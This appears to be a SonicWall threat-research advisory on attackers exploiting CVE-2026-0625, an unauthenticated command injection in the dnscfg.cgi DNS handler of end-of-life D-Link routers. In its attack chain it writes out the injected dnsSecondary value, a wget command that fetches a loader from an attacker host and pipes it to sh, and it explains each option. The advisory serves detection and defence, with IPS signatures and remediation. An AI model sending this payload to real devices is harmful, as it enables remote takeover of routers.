Threat intelligence, Threat Research

Attackers Exploit CVE-2026-0625 in D-Link Routers to Deploy a Shell Dropper via dnscfg.cgi DNS Handler

by Ashwini Bhagwat

Attackers Exploit CVE-2026-0625 in D-Link Routers to Deploy a Shell Dropper via dnscfg.cgi DNS Handler 

Overview

Embedded routers and gateways routinely ship with a small CGI program that lets an administrator change the DNS servers each device uses. Because this program takes user input and hands it to the operating system, it has long been a favorite target for attackers building botnets from internet-facing network equipment.

Through its honeypot network, the SonicWall Capture Labs threat research team has observed in-the-wild exploitation attempts against the dnscfg.cgi DNS configuration handler, the endpoint affected by CVE-2026-0625. The CVE covers several end-of-life D-Link DSL, DIR and DNS devices whose dnscfg.cgi endpoint can be requested directly, without authentication, to change their DNS settings. D-Link has linked this behavior to the GhostDNS malware ecosystem, which targeted consumer and carrier routers in 2019. The Shadowserver Foundation observed exploitation in November 2025.

The requests captured by the honeypot go a step beyond DNS hijacking. They inject a shell command into the dnsSecondary form field. The injected command downloads a script from an attacker-controlled host and pipes it directly into the shell, which gives the attacker code execution on any device that does not sanitize the field. No authentication material accompanies the requests.

CVE-2026-0625 Vulnerability Summary

CVSS Score

9.3 Critical (CVSS v4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)

Type

Missing authentication for a critical function

CWE

CWE-306 

Attack Vector

Network / No Auth / No User Interaction

Affected Product

D-Link DSL-2640B, DSL-2740R, DSL-2780B, DSL-526B, DSL-2640T, DSL-500, DSL-500G, DSL-502G; DIR-905L, DIR-600, DIR-608, DIR-610, DIR-611, DIR-615; DNS-320, DNS-325, DNS-345

NVD Reference

nvd.nist.gov/vuln/detail/CVE-2026-0625 ↗

Technical Overview

The dnscfg.cgi program accepts two form fields, dnsPrimary and dnsSecondary, and applies them as the device's resolver settings. The captured traffic shows the following characteristics:

  • POST /cgi-bin/dnscfg.cgi: the CGI path used by firmware that serves programs from a cgi-bin directory
  • POST /dnscfg.cgi: the same handler served from the web root
  • dnsPrimary and dnsSecondary: form fields that are expected to hold IPv4 addresses

Because the endpoint can be reached before login, as described in the CVE, an attacker does not need credentials to submit these fields. In vulnerable firmware, the submitted values are not stripped of shell metacharacters before they are placed into a shell command line or written to a configuration file that a shell script later reads. A semicolon ends the first command and starts a second one. When the secondary DNS value is 8.8.4.4;wget ..., the shell applies the legitimate address and then executes everything after the semicolon as its own command. Web servers on these devices commonly run as root, so the injected command runs with full privileges.

The attacker starts both fields with the addresses of real public resolvers, 8.8.8.8 and 8.8.4.4. A handler that checks only that the first part of the value looks like an address will still accept the request, while the hostile command follows the semicolon.

Attack Chain

 

D-Link_dnscfg_attack_chain.png
StepActionResult
1POST to /cgi-bin/dnscfg.cgi, then /dnscfg.cgiAttacker finds the handler without fingerprinting the device
2dnsSecondary carries 8.8.4.4;<command>;Valid address passes basic checks; shell splits at the semicolon
3wget -q --no-check-certificate -O- https://s.sudomanager[.]tech/ldDevice fetches the second stage over HTTPS with certificate checks disabled
4|shThe downloaded script runs immediately, with no file written to disk

The injected value begins with 8.8.4.4;, a valid DNS server followed by a command separator that ends the intended command and lets the attacker's command run next. The command itself uses wget, a downloader found on most embedded Linux builds. The -q option suppresses output so nothing is returned or logged by the tool, and --no-check-certificate skips TLS validation, which matters because embedded devices often lack a current CA bundle. The -O- option writes the response to standard output instead of a file, and that output is fetched from the attacker-hosted loader script at https://s.sudomanager[.]tech/ld. The |sh at the end feeds the downloaded script directly to the shell, so nothing touches flash storage first. Finally, the trailing semicolon closes the injected command so that any text appended by the vulnerable code does not cause a syntax error.

Triggering the Vulnerability

A single unauthenticated HTTP request is sufficient to trigger the injection on an affected device.

D-Link_1.png

The injected value begins with 8.8.4.4;, a valid DNS server followed by a command separator that ends the intended command and lets the attacker's command run next. The command itself uses wget, a downloader found on most embedded Linux builds. The -q option suppresses output so nothing is returned or logged by the tool, and --no-check-certificate skips TLS validation, which matters because embedded devices often lack a current CA bundle. The -O- option writes the response to standard output instead of a file, and that output is fetched from the attacker-hosted loader script at https://s.sudomanager[.]tech/ld. The |sh at the end feeds the downloaded script directly to the shell, so nothing touches flash storage first. Finally, the trailing semicolon closes the injected command so that any text appended by the vulnerable code does not cause a syntax error. The payload is sent without URL encoding. The spaces, pipe and semicolons appear in clear text in the request body, which makes the pattern straightforward to match on the wire. 

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:

Signature IDSignature Name
IPS 4643D-Link DNS Field Command Injection
GAVDropper

Remediation Recommendations

  • Replace affected end-of-life D-Link devices. The models listed above no longer receive security updates, so no patch is expected. Check the D-Link support announcements for the latest guidance.
  • Never expose device management interfaces to the internet. Disable remote administration on WAN interfaces or restrict it to a VPN and specific source addresses.
  • Require authentication on all configuration endpoints. Confirm that endpoints such as dnscfg.cgi cannot be reached before login.
  • Segment IoT and network equipment. Restrict outbound traffic from routers and similar devices to what they require.

Relevant Links

 

Share This Article

An Article By

Ashwini Bhagwat

Senior Threat Researcher
Ashwini Bhagwat is a seasoned cybersecurity professional with a passion for threat hunting and vulnerability analysis. She is a Senior Threat Researcher at SonicWall, where she leads the Microsoft Active Protections Program (MAPP). Ashwini's expertise lies in performing in-depth analysis of vulnerabilities and developing robust protections for IPS (Intrusion Prevention System).

Related Articles

  • H2O-3 Unauthenticated RCE via PostgreSQL JDBC socketFactory
    Read More
  • Mesop AI Sandbox Unauthenticated Remote Code Execution
    Read More